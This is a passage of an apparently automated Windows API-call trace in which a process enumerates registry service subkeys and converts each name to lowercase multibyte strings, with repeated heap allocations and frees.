lpName="AmdK8") returned 0x0 [0255.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0255.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0255.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0255.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0255.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0255.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0255.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0255.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0255.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0255.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0255.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0255.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0255.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0255.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.120] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0255.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0255.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.120] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0255.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0255.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.120] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0255.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0255.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0255.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0255.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0255.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0255.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0255.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0255.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0255.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0255.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0255.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0255.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.122] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0255.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0255.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.122] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0255.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0255.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.122] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0255.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0255.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0255.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.123] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0255.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0255.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.123] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0255.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0255.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.123] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0255.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0255.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.124] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0255.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, 